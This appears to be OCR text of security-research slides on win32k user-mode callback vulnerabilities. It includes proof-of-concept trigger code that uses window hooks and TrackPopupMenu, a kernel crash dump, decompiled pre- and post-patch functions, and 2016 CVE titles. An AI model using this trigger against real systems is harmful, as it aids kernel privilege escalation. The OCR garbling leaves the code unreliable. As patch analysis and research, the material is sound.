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NTSTATUS
KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *QutputBuffer,
IN PULONG OutputLength

);

nt!KeUserModeCallback -> nt!KiCallUserMode -> nt!KiServiceExit ->
ntdll'KiUserCallbackDispatcher -> [BliERZE -> int2B -> nt!KiCallbackReturn ->
nt!KeUserModeCallback(GERE)
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{Kernel Attacks through User Mode Callbacks)

https://media.blackhat.com/bh-us-
11/Mandt/BH _US 11 Mandt win32k_Slides
pdf
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— Null Pointer Dereferences
— Use After Free
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An elevation of privilege vulnerability exists when the Windows kernel-mode driver
improperly handles objects in memory. An attacker who successfully exploited this
vulnerability could run arbitrary code in kernel mode. An attacker could then install

programs; view, change, or delete data; or create new accounts with full
administrative rights.
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HWND hwWnd = CreateWindowEXA(O, "justfortest”, NULL, O, -1, -1, 0, O, NULL, NULL,
NULL, NULL);

HMENU hMenuOne = CreatePopupMenu();
HMENU hMenuTwo = CreatePopupMenu();

SetWindowsHookExXA(WH_CALLWNDPROC, hook callback, NULL,
GetCurrentThreadld());

TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
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LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam,
LPARAM IParam){

//289 == WM_ENTERIDLE
if (msg == 289 && 'bWndProcFlag)
{

printf("[%d]:wnd_proc ,send
PostMessageA ,msg:%x\n",g_Step++,msg);

bWndProcFlag = TRUE;

PostMessageA(hwnd, 256, 40, 0); //WM_KEYFIRST

PostMessageA(hwnd, 256, 39, 0); //WM_KEYDOWN

PostMessageA(hwnd, 513, 0, 0); //WM_LBUTTONDOWN
}

return DefWindowProc(hwnd, msg, wParam, IParam);
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LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM IParam)
{
//MN_FINDWINDOWFROMPOINT = Ox1EB
if (*(DWORD *)(IParam + PTR_SIZE * 2) == Ox1EB && !'bHookCallbackFlag)
{
bHookCallbackFlag = TRUE;
if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))

{

IpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(IParam
+ PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook callback two);

}
}

return CallNextHookEx(0, code, wParam, |IParam);
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ong CALLBACK hook_callback_two(HWND
nWnd, UINT Msg, WPARAM wParam, LPARAM
Param)

{
printf("[%d]:hook_callback_two\n",g_Step++);

EndMenu();
return -5;
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TRAP_FRAME: a0ec79c8 -- (.trap OxffffffffaOec79c8)

ErrCode = 00000000

eax=00002030 ebx=000001ed ecx=934820e4 edx=a0ec7b78 esi=fffffffb edi=fe95fab8
eip=9332949a esp=alec7a3c ebp=alec7a64 iopl=0 nv up ei pl nz na po nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
win32k!xxxSendMessageTimeout+0x153:
9332949a 8b06 mov  eax,dword ptr [esi] ds:0023:fffffffb=2777227?

Resetting default scope

LAST_CONTROL_TRANSFER: from 83f19083 to 83eb5110

STACK_TEXT:

a0ec7514 8319083 00000003 696c7033 00000065 nt!RtlpBreakWithStatusInstruction
a0ec7564 83f19b81 00000003 8747e7a8 00000000 nt!KiBugCheckDebugBreak+0x1c
a0ec7928 83ec841b 00000050 fffffffb 00000000 nt!KeBugCheck2+0x68b

a0ec79b0 83e7b3d8 00000000 fffffffb 00000000 nt!MmAccessFault+0x106

a0ec79b0 9332949a 00000000 fffffffb 00000000 nt!KiTrapOE+0xdc

a0ec7a64 933295¢5 fffffffb 000001ed 001ef874 win32k!xxxSendMessageTimeout+0x153
a0ec7a8c 933a92fb fffffffb 000001ed 001ef874 win32k!xxxSendMessage+0x28

a0ec7aec 933a8c1f alec7b0c 00000000 001ef874 win32k!xxxHandleMenuMessages+0x582
a0ec7b38 933af8f1 fe48c1d8 9348f580 00000000 win32k!xxxMNLoop+0x2c6

a0ec7ba0 933af9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
a0ec7c14 83e781ea 000701e5 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
alec7c14 77b470b4 000701e5 00000000 00000000 nt!KiFastCallEntry+0x12a

001ef888 7610483e 7602243 000701e5 00000000 ntdll!KiFastSystemCallRet

001ef88c 760f2243 000701e5 00000000 00000000 USER32!NtUserTrackPopupMenuEx+0xc
001ef8ac 00ff155f 000701e5 00000000 00000000 USER32!TrackPopupMenu+0x1b
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* TrackPopupMenu ->
NtTrackPopupMenuEx - >
XXXMNLoop->
xxxHandleMenuMessages ->
xxxSendMessage- >
xxxSendMessageTimeout
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//MN_FINDWINDOWFROMPOINT = Ox1EB
if *(DWORD *)(IParam + PTR_SIZE * 2) == Ox1EB && !bHookCallbackFlag)

int __stdcall xxxHandleMenuMessages(int al, int a2, WCHAR UnicodeString){

LABEL_77:
*(_DWORD *)(a2 + 16) = -1;
if ( LocxMNFindWindowFromPoint(v3, (int)&UnicodeString, v7) )

{
XXXMNDismiss(a2);

return 1;

}
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if ( PtInRect(&rc, (POINT)__PAIR_(v26, v10)))
{
*(_DWORD %a2 = 0;
result = -1;
}
else
{
v1l4 = *( DWORD *)(v4 + 24);
if (Ivl4)
return O;
v1l5 = MNItemHitTest(v14, v6, (POINT) PAIR_ (v26, v10));
if (v15 ==-1)
return O;
*(_DWORD *)a2 = v15;
result = -5;
}
}

return result;
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v39 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v7);
v40 = ISMFMWFPWindow(v39);
if (v40)
{
v45 = gptiCurrent[45].Next;

gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v45;
v46 = v39;
if ('v39)
goto LABEL_135;
++*(_DWORD *)(v39 + 4);
}
if (v39)
goto LABEL_137;
LABEL_135:
if (UnicodeString )
{
LABEL_137:
if (*(BYTE *)v3 & 2 && v39 == -5)
{
xxxMNSwitchToAlternateMenu(v3);
v39 = -1;
}
if (v39 ==-1)
xxxMNDoubleClick(a2, v3, UnicodeString);
else

xxxSendMessage((PVOID)v39, -15, UnicodeString, 0);
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AT TR B
v38 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
v39 = ISMFMWFPWindow(v38);

if (v38)

{

LABEL_135:
if ('UnicodeString )
goto LABEL_136;

}

if (*( BYTE*)v3 & 2 && v38 ==-5)

{
xxXMNSwitchToAlternateMenu(v3);
v38 =-1;

}

if (v38==-1)

{
xxXMNDoubleClick(a2, v3, UnicodeString);
goto LABEL_144;

}
if (ISMFMWFPWindow(v38))

{
xxxSendMessage((PVOID)v38, -15, UnicodeString, 0);
goto LABEL_144;
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xxxSendMessage((PVOID)v39, -15, UnicodeString, 0); p = -5;

int __stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR
UnicodeString, PVOID Address)

{
InterlockedIncrement(&glSendMessage);

return xxxSendMessageTimeout(P, MbString, UnicodeString, Address, 0, O,
0, (PSINGLE_LIST_ENTRY)1);

}
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xxxSendMessage((PVOID)v39, -15, UnicodeString, 0); p =-5;

int __stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR
UnicodeString, PVOID Address)

{
InterlockedIncrement(&glSendMessage);

return xxxSendMessageTimeout(P, MbString, UnicodeString, Address, 0, 0, 0O,
(PSINGLE_LIST_ENTRY)1);
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« int _stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR
UnicodeString, PVOID Address)

- |

— if (*((BYTE*)P + 22) & 4)

- A

— IoGetStackLimits(&LowLimit, &HighLimit);

— if ( (unsigned int)((char *)&HighLimit - LowLimit) < 0x1000 )

— return O;

— result = (*((int (__stdcall **)( DWORD, DWORD, _DWORD,
_DWORD))P + 24))(P, v12, UnicodeString, Address); // crashing

— if (1a7)

— return result;

— *(_DWORD *)a7 = result;

- }
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TRAP_FRAME: a0Oec79c8 -- (.trap OxffffffffaOec79c8)
ErrCode = 00000000

eax=00002030 ehbx=000001ed ecx=934820e4 edx=a0ec7b78 esi=fffffffb
edi=fe95fab8

eip=9332949a esp=alec7a3c ebp=alec7a64 iopl=0 nv up ei pl nz na
po Nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
efl=00010202

win32k!xxxSendMessageTimeout+0x153:
9332949a 8b06 mov  eax,dword ptr [esi] ds:0023:ffffffflo=27???7???7?
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0xbf9de572 call [ebp+arg_14]
[?vDIBPatBItSrccopy8x8@@YGXPAVSURFACE@@PAU_CLIPOBJ@@PAU_RECTL@@PAU_BRUSHOBJ@@PAU_POINTL@@P
6GXPAU_PATBLTFRAME@@H@Z@Z]

Oxbfode654 call [ebp+arg_14]
[?vDIBPatBItSrccopy8x8@@YGXPAVSURFACE@@PAU_CLIPOBJ@@PAU_RECTL@@PAU_BRUSHOBJ@@PAU_POINTL@@P
6GXPAU_PATBLTFRAME@@H@Z@Z]

Oxbfode7dc call [ebp+arg_14]
[?vDIBnPatBItSrccopybx6@@YGXPAVSURFACE@@PAU_CLIPOBJ@@PAU_RECTL@@PAU_BRUSHOBJ@@PAU_POINTL@@
P6GXPAU_PATBLTFRAME@@H@Z@Z]

Oxbfode8a4 call [ebp+arg_14]
[?vDIBnPatBItSrccopybx6@@YGXPAVSURFACE@@PAU_CLIPOBJ@@PAU_RECTL@@PAU_BRUSHOBJ@@PAU_POINTL@@
P6GXPAU_PATBLTFRAME@@H@Z@Z]

Oxbf9e25fc call [ebp+arg 0] [ OffPIgBIt@56]

Line 86: Oxbf87cebc call dword ptr [esi+60h] [_xxxSendMessageCallback@32]
Line 87: O0xbf88606d call dword ptr [ebx+10h] [_xxxReceiveMessage@4]

Line 88: 0xbf88636¢ call dword ptr [eax+60h] [ _xxxReceiveMessage@4]

Line 94: 0xbf8900e6 call dword ptr [eax+ecx*4+8] [_xxxFreeWindow @8]

Line 97: Oxbf89fbfl call [ebp+arg_8] [ xxxMsgWaitForMultipleObjects@16]
Line 98: Oxbf8a0663 call [ebp+arg_8] [ xxxEnumDisplayMonitors @20]

Line 104: O0xbf8a9208 call [ebp+arg_4] [ _xxxInternalEnumWindow @16]

Line 108: Oxbf8ad7ab call dword ptr [eax+2Ch] [_xxxDispatchMessage@4]
Line 109: Oxbf8ad88a call dword ptr [ebx+60h] [_xxxDispatchMessage@4]
Line 122: Oxbf8bclac call dword ptr [esi+60h] [_xxxSendMessageTimeout@32]
Line 208: 0xbf9056a8 call dword ptr [eax+10h] [_xxxDDETrackPostHook@20]
Line 217: Oxbf9120be call [ebp+arg_ 18] [_xxxInternalUserChangeDisplaySettings @32]
Line 309: Oxbf96f5c1 call [ebp+arg_0] [_xxxSBTrackLoop@12]
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0x21e43b call [ebp+var_B4] :---[ _GrayExpandDIB_CY]
0x21edel call [ebp+var B4] :---[ GrayExpandDIB_CY]
Ox2leb5ed call [ebp+var_B4] :---[ _GrayExpandDIB_CY]
0x21e9b5 call [ebp+var_EC] :---[_GrayExpandDIB_CY]
Ox2lea2e call [ebp+var_BC] :---[_GrayExpandDIB_CY]
0x21f9c7 call [ebp+var_EC] :---[_GrayShrinkDIB_CY]
0x21fa40 call [ebp+var_BC] :---[_GrayShrinkDIB_CY]
0x220394 call [ebp+var_B4] :---[_ShrinkDIB_CY]
0x220b41 call [ebp+var_BC] :---[_ShrinkDIB_CY_SrkCX]

Line 49: 0x16ff60 call [ebp+var_128] :---
[?xxxScanSysQueue@@YG?AW4_SCANSYSQUEUERESULT@@PAUtagTHREADINFO@ @PAUtagMSG @ @PAUtagWND@ @IIKKP
APAUtagQMSG@ @ @Z]

Line 50: 0x170038 call [ebp+var_13C] :---
[?xxxScanSysQueue@@YG?AW4_SCANSYSQUEUERESULT@ @PAUtagTHREADINFO@ @PAUtagMSG @ @PAUtagWND@ @IIKKP
APAUtagQMSG@ @ @Z]

Line 51: 0x170044 call [ebp+var_148] :---
[?xxxScanSysQueue@@YG?AW4_SCANSYSQUEUERESULT@ @PAUtagTHREADINFO@ @PAUtagMSG @ @PAUtagWND@ @IIKKP
APAUtagQMSG@ @ @Z]

Line 52: 0x9915b call [esp+44h+var_10] :---[_xxxWindowEvent@20]

Line 53: Oxa7eb9 call dword ptr [eax+10h] :---[_xxxDispatchMessage @4]

Line 61: 0xb152b call [ebp+var_4] :---[ xxxInternalEnumWindow@16]

Line 142: Oxddcb5 call [ebp+arg_0] :---[_xxxDesktopThreadWaiter@16]

Line 170: 0x131215 call dword ptr [eax+1E8h] :---[ _xxxRemoteReconnect@4]

Line 178: 0x1cf911 call dword ptr [ecx+10h] :---[_xxxDDETrackPostHook@20]

Line 181: 0x202dcl call [ebp+var_8] :---[?xxxSBTrackLoop@ @YGXPAUtagWND@ @JPAUtagSBCALC@ @ @Z]
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GDI Information Disclosure Vulnerability — CVE-
2016-3354

GDI Elevation of Privilege Vulnerability — CVE-
2016-3355

GDI Remote Code Execution Vulnerability —
CVE-2016-3356

Win32k Elevation of Privilege Vulnerability —
CVE-2016-3348

Win32k Elevation of Privilege Vulnerability —
CVE-2016-3349
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